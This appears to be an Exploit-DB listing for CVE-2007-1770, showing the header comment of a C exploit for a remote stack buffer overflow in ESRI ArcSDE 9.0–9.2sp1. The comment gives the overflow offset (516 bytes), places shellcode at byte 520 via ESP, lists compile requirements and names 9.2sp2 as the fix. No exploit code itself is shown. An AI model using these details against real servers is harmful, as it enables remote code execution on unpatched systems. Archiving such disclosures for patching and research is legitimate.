标题: ESRI ArcSDE 9.0 < 9.2sp1 - Remote Buffer Overflow EDB-ID: 4146 CVE: 2007-1770 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-03 漏洞利用脚本: /* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : ESRI ArcSDE 9.0 - 9.2sp1 
* Site           : http://www.esri.com
* Found by       : iDefense, http://labs.idefense.com/intelligence/vulnerabilities/
* ----------------------------------------
* Exploit        : ESRI ArcSDE 9.0 - 9.2sp1 Remote Buffer Overflow exploit
* Exploit date   : 26.06.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows ALL 
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           :   Trivially exploitable stack overflow vulnerability: if we send more than 516 bytes to 
*                  server, we can overwrite EIP. After the EIP gets overwritten we can see that the ESP 
*                  points to the next bytes of buffer after EIP, so we simply write shellcode at 520 byte.
*                  The server allows any type of buffer even with the 0x00 bytes, so have fun!
*                  For use universal RET's you need to find the ArcSDE version (this is not a trivial job :P) 
*
*                    Seems that the earlier versions are also vulnerable. To protect the server against that
*                  vulnerability you need to install ArcSDE 9.2sp2.
* ----------------------------------------
* Compiling      :
*  To compile this exploit you need:
*    1. Windows C/C++ compiler   
*    2. WinSock 2
